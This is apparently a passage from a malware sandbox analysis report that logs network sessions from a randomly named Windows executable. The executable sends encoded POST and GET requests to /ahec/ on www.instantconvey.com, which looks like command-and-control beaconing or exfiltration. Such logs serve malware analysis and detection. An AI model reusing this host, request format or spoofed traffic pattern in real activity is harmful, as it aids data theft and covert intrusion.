Dec 8, 2023 14:51:11.549493074 CET	1286	IN	Data Raw: 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a Data Ascii: *****************************************************************************************************************!\ !*** css ./node_modules/css-loader/index.js??clonedRuleSet-6.use[1]!./node_modules/postcss-loader/src/index.js!./node_modul
Dec 8, 2023 14:51:11.550219059 CET	1286	IN	Data Raw: 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 69 6e 69 74 69 61 6c 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 7d 2e 62 2d 70 72 69 63 65 5f 5f 63 75 72 72 65 6e 63 79 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 70 6f 73 Data Ascii: vertical-align:initial;text-align:left}.b-price__currency{display:inline-block;position:relative;top:3px;border-bottom:1px solid #fff;font:14px Inter,Arial,Helvetica Neue,Helvetica,FreeSans,sans-serif;text-decoration:none}.b-price__currency_co
Dec 8, 2023 14:51:11.550271034 CET	1286	IN	Data Raw: 72 3a 70 6f 69 6e 74 65 72 3b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 3b 77 68 69 74 65 2d 73 70 61 63 65 3a 6e 6f 77 72 61 70 3b 62 6f 72 64 65 72 2d 72 61 64 69 Data Ascii: r:pointer;display:inline-block;text-decoration:none;white-space:nowrap;border-radius:3px;font-weight:700;font-family:Inter,Arial,Helvetica Neue,Helvetica,FreeSans,sans-serif;color:#fff;text-align:center;-webkit-user-select:none;-moz-user-selec
Dec 8, 2023 14:51:11.829652071 CET	1286	IN	Data Raw: 64 74 68 3a 61 75 74 6f 7d 40 6d 65 64 69 61 20 28 6d 69 6e 2d 77 69 64 74 68 3a 31 30 32 34 70 78 29 7b 2e 69 73 5f 61 64 61 70 74 69 76 65 20 2e 62 2d 62 75 74 74 6f 6e 5f 73 74 79 6c 65 5f 61 64 61 70 74 69 76 65 7b 64 69 73 70 6c 61 79 3a 69 Data Ascii: dth:auto}@media (min-width:1024px){.is_adaptive .b-button_style_adaptive{display:inline-block;width:auto}}.b-button_style_bordered{border:1px solid transparent}.b-button_bold_none{font-weight:400}.b-button_radius_none{border-radius:0}.b-button

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49753	131.153.147.90	80	5016	C:\Program Files (x86)\fvCwMkebvdlZnVAfIydJNuzaLtYKKNgsocDEVFzzoGRisGnQb\UHPrrMeffyCaz.exe

Timestamp	Bytes transferred	Direction	Data
Dec 8, 2023 14:51:18.296947956 CET	753	OUT	POST /ahec/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Host: www.instantconvey.com Origin: http://www.instantconvey.com Referer: http://www.instantconvey.com/ahec/ Cache-Control: no-cache Content-Length: 189 Content-Type: application/x-www-form-urlencoded Connection: close User-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4 Data Raw: 58 76 65 58 48 5a 76 78 3d 66 47 46 6a 6c 39 68 53 34 77 53 2b 69 54 49 6a 7a 4e 42 78 4f 78 46 55 77 39 4f 32 63 41 32 50 56 65 48 31 65 61 31 77 78 76 46 61 6d 78 66 79 31 46 50 37 45 79 57 48 69 42 6c 62 55 71 67 4b 72 58 2b 58 6b 68 61 52 6a 65 55 4d 37 65 35 32 49 68 44 72 55 58 67 67 38 74 61 61 79 46 61 32 50 2b 7a 45 2b 2f 70 7a 56 37 77 4f 69 5a 47 74 46 49 74 7a 30 6b 42 61 66 6e 5a 57 61 66 38 46 79 6d 59 58 55 36 62 4e 5a 4c 6f 67 37 4e 66 39 36 73 35 58 4f 36 43 35 73 48 63 59 63 6d 33 52 67 4e 4e 49 74 46 59 31 2b 47 71 54 33 31 7a 32 4f 51 3d 3d Data Ascii: XveXHZvx=fGFjl9hS4wS+iTIjzNBxOxFUw9O2cA2PVeH1ea1wxvFamxfy1FP7EyWHiBlbUqgKrX+XkhaRjeUM7e52IhDrUXgg8taayFa2P+zE+/pzV7wOiZGtFItz0kBafnZWaf8FymYXU6bNZLog7Nf96s5XO6C5sHcYcm3RgNNItFY1+GqT31z2OQ==
Dec 8, 2023 14:51:18.456036091 CET	479	IN	HTTP/1.1 404 Not Found Date: Fri, 08 Dec 2023 13:51:18 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49754	131.153.147.90	80	5016	C:\Program Files (x86)\fvCwMkebvdlZnVAfIydJNuzaLtYKKNgsocDEVFzzoGRisGnQb\UHPrrMeffyCaz.exe

Timestamp	Bytes transferred	Direction	Data
Dec 8, 2023 14:51:21.900505066 CET	773	OUT	POST /ahec/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Host: www.instantconvey.com Origin: http://www.instantconvey.com Referer: http://www.instantconvey.com/ahec/ Cache-Control: no-cache Content-Length: 209 Content-Type: application/x-www-form-urlencoded Connection: close User-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4 Data Raw: 58 76 65 58 48 5a 76 78 3d 66 47 46 6a 6c 39 68 53 34 77 53 2b 6a 7a 59 6a 67 65 70 78 62 42 46 62 73 4e 4f 32 54 67 32 4c 56 65 62 31 65 66 4d 31 78 39 78 61 6d 55 37 79 37 6b 50 37 44 79 57 48 70 68 6c 53 65 4b 67 52 72 58 79 6c 6b 68 6d 52 6a 65 51 4d 37 61 78 32 64 43 72 6f 47 33 67 69 77 4e 61 4c 39 6c 61 32 50 2b 7a 45 2b 2f 73 6b 56 37 6f 4f 69 70 32 74 4b 4e 42 77 35 45 42 62 59 6e 5a 57 4d 66 38 42 79 6d 5a 30 55 34 2f 7a 5a 4a 51 67 37 4d 76 39 30 65 64 57 48 36 43 33 6f 48 64 30 4d 48 66 42 6a 2b 59 6e 72 6c 77 2b 30 54 6a 6e 2f 41 66 6c 4a 74 55 71 5a 6b 64 61 32 2b 48 41 5a 62 72 32 50 59 4b 4a 4d 65 77 3d Data Ascii: XveXHZvx=fGFjl9hS4wS+jzYjgepxbBFbsNO2Tg2LVeb1efM1x9xamU7y7kP7DyWHphlSeKgRrXylkhmRjeQM7ax2dCroG3giwNaL9la2P+zE+/skV7oOip2tKNBw5EBbYnZWMf8BymZ0U4/zZJQg7Mv90edWH6C3oHd0MHfBj+Ynrlw+0Tjn/AflJtUqZkda2+HAZbr2PYKJMew=
Dec 8, 2023 14:51:22.063608885 CET	479	IN	HTTP/1.1 404 Not Found Date: Fri, 08 Dec 2023 13:51:21 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49755	131.153.147.90	80	5016	C:\Program Files (x86)\fvCwMkebvdlZnVAfIydJNuzaLtYKKNgsocDEVFzzoGRisGnQb\UHPrrMeffyCaz.exe

Timestamp	Bytes transferred	Direction	Data
Dec 8, 2023 14:51:24.577001095 CET	10855	OUT	POST /ahec/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Host: www.instantconvey.com Origin: http://www.instantconvey.com Referer: http://www.instantconvey.com/ahec/ Cache-Control: no-cache Content-Length: 10289 Content-Type: application/x-www-form-urlencoded Connection: close User-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4 Data Raw: 58 76 65 58 48 5a 76 78 3d 66 47 46 6a 6c 39 68 53 34 77 53 2b 6a 7a 59 6a 67 65 70 78 62 42 46 62 73 4e 4f 32 54 67 32 4c 56 65 62 31 65 66 4d 31 78 39 4a 61 6d 6e 44 79 30 6a 37 37 43 79 57 48 67 42 6c 58 65 4b 68 4a 72 58 72 75 6b 68 71 6e 6a 63 34 4d 70 6f 70 32 5a 48 66 6f 4e 33 67 69 76 39 61 62 79 46 62 32 50 2b 6a 59 2b 2f 38 6b 56 37 6f 4f 69 71 2b 74 44 34 74 77 71 30 42 61 66 6e 5a 53 61 66 38 70 79 6d 41 50 55 34 72 6a 5a 61 59 67 36 73 2f 39 32 73 46 57 49 36 43 31 76 48 64 73 4d 48 43 47 6a 2b 30 42 72 6b 30 55 30 51 2f 6e 37 52 75 4f 61 39 63 30 49 6d 42 6f 6c 39 62 44 58 72 32 37 63 6f 47 57 65 61 50 44 79 71 2b 59 79 54 33 31 38 5a 54 68 4e 76 6a 59 7a 75 6c 49 63 64 2b 68 50 63 58 31 4e 30 64 63 52 79 78 46 5a 76 68 4f 42 71 76 45 56 69 6c 75 59 38 6e 59 4a 74 73 45 44 77 71 6c 45 61 4a 57 44 6c 4f 43 6b 67 58 33 59 48 37 76 6d 57 41 38 68 38 77 67 35 58 73 72 5a 61 74 4e 42 78 6d 4b 72 62 48 54 6d 4f 47 4a 31 33 4b 6d 45 73 34 4f 62 2f 34 6e 35 72 36 73 44 63 45 58 53 55 79 55 74 4d 76 6b 4c 37 52 6c 6f 61 41 4b 46 63 67 69 73 64 2f 75 35 39 6a 65 2b 30 65 49 6a 50 39 41 66 55 34 68 45 37 4e 6a 4c 36 56 34 61 59 55 6c 53 37 69 62 47 45 66 55 67 5a 68 56 35 38 57 50 47 57 50 59 43 48 44 70 47 35 41 33 50 70 76 76 6d 36 66 51 34 73 4b 6a 39 6d 6d 6a 39 6d 72 4d 34 42 4c 4b 65 6f 57 70 62 62 74 2f 41 57 75 7a 50 47 76 48 37 74 4a 4f 5a 36 50 59 6b 71 32 7a 50 69 44 43 57 31 30 68 64 39 79 73 6d 48 54 62 50 63 64 63 48 72 70 6d 4e 45 76 6c 4b 76 46 43 6a 41 43 4a 52 6b 65 46 48 59 34 67 4d 2b 6a 61 4f 33 70 67 33 72 43 56 30 6a 4b 56 54 33 74 45 49 71 68 56 30 52 56 70 72 46 48 35 64 63 43 34 37 35 41 68 47 4f 63 79 79 52 48 61 54 35 47 73 71 37 50 35 33 7a 47 4b 66 7a 38 6a 6f 30 4c 76 31 4a 61 6f 43 4e 63 56 32 6c 6b 2f 59 57 69 74 79 45 34 47 66 53 54 4f 6d 2b 44 64 31 4f 69 4d 57 52 59 73 34 4e 58 57 72 4c 71 6a 6c 63 6a 2b 50 36 68 42 6d 31 51 30 41 72 33 57 58 42 35 46 5a 6e 76 53 75 53 43 59 78 36 39 49 33 46 59 68 46 2b 43 46 51 71 49 6e 5a 6a 58 4a 73 77 63 41 6c 59 34 63 50 72 6d 41 2f 72 45 6f 5a 44 65 6f 51 59 4d 6e 38 58 5a 39 65 39 55 78 32 54 44 63 47 34 65 67 52 52 67 64 51 48 54 35 79 6f 6d 78 6b 43 64 73 78 73 58 63 2b 65 70 31 4b 53 42 44 59 6f 51 4d 6d 43 6e 71 73 63 78 66 6f 6f 73 6d 4c 4d 54 6d 7a 77 31 6b 71 6e 71 47 4b 63 42 36 73 77 6f 4a 76 66 57 33 50 6f 33 79 75 34 48 4e 48 46 79 49 42 76 33 4e 53 59 70 6d 73 6f 77 76 45 4e 4f 33 4e 42 76 66 6c 6f 47 77 57 6c 35 49 67 74 49 71 42 79 33 69 46 34 73 75 6e 2b 79 67 74 50 35 6e 51 44 75 51 77 7a 59 48 47 74 61 59 70 52 50 68 64 50 61 35 64 43 59 30 48 45 2f 51 63 39 4e 68 52 58 4c 30 6f 4f 51 68 63 4d 76 78 50 38 7a 32 52 7a 45 44 36 4d 4b 50 67 34 58 45 50 45 61 44 78 6b 65 62 36 49 42 77 63 4e 75 73 39 6a 65 6d 5a 50 76 75 50 38 68 32 37 42 30 7a 61 35 55 5a 4b 37 4f 45 2f 2b 42 46 45 31 70 45 41 78 4e 64 62 30 57 63 69 2f 4b 77 66 6f 51 73 32 74 33 67 39 48 54 4c 73 34 61 77 5a 69 73 4d 6e 51 70 65 39 37 74 67 4a 69 34 55 6e 44 4c 6a 77 2f 6b 69 63 6b 49 2f 4f 49 6e 49 73 54 54 6d 79 6f 35 31 57 62 30 49 75 56 33 74 63 43 58 46 53 4b 75 45 31 30 68 78 54 66 2f 79 32 75 49 39 79 4b 6e 36 68 45 66 38 35 55 73 57 68 6a 38 36 56 56 6f 47 53 68 66 30 4c 31 2b 6e 7a 2f 2f 35 33 58 30 2f 73 4a 35 7a 31 61 57 6f 67 62 69 50 2b 53 6d 4e 4e 4b 39 54 39 66 5a 78 62 63 78 5a 37 58 35 46 7a 54 54 59 31 4e 46 6b 41 54 41 59 6e 6c 44 61 6b 79 32 56 50 5a 4b 45 44 71 45 51 77 4f 51 63 35 4e 31 74 4a 70 35 31 54 56 37 75 32 58 67 2b 6f 74 55 68 6d 4f 31 79 4e 44 37 31 46 5a 2f 45 4b 59 41 63 52 6a 6b 37 38 2b 4f 64 45 37 63 5a 44 42 6a 55 4b 43 37 76 36 51 77 39 62 49 6f 72 33 32 71 32 58 66 51 4b 31 54 4a 44 37 62 32 51 66 43 53 47 71 48 78 33 39 65 39 4d 37 67 65 7a 35 48 4e 33 67 63 71 41 4f 6d 32 76 72 6a 48 35 37 59 67 56 6c 48 42 7a 4e 49 5a 30 73 65 4e 59 50 47 4e 59 43 69 4e 32 6a 44 6a 4e 65 74 37 59 65 54 36 33 45 34 72 46 71 73 7a 4c 32 46 57 61 32 34 2f 4a 57 69 67 59 44 65 78 4c 4f 55 70 38 50 50 30 70 57 35 35 4d 38 45 42 73 77 66 6a 57 6f 44 2f 55 6a 32 7a 32 47 6b 33 70 37 6a 56 6e 6d 57 64 64 6a 6c 50 76 64 57 71 33 75 73 Data Ascii: XveXHZvx=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
Dec 8, 2023 14:51:24.753015041 CET	479	IN	HTTP/1.1 404 Not Found Date: Fri, 08 Dec 2023 13:51:24 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49756	131.153.147.90	80	5016	C:\Program Files (x86)\fvCwMkebvdlZnVAfIydJNuzaLtYKKNgsocDEVFzzoGRisGnQb\UHPrrMeffyCaz.exe

Timestamp	Bytes transferred	Direction	Data
Dec 8, 2023 14:51:27.263885975 CET	474	OUT	GET /ahec/?XveXHZvx=SEtDmKR01RO/v1ckzNpTcUhCl/PMZGqFQ+LqZaILuKhM8xDFx1nbKCOFshx5Sqoz6Az3phyVzpkjs7F2QS7YIFIq1ILz0nKZVg==&l4xX=rDStpH0He HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Host: www.instantconvey.com Connection: close User-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4
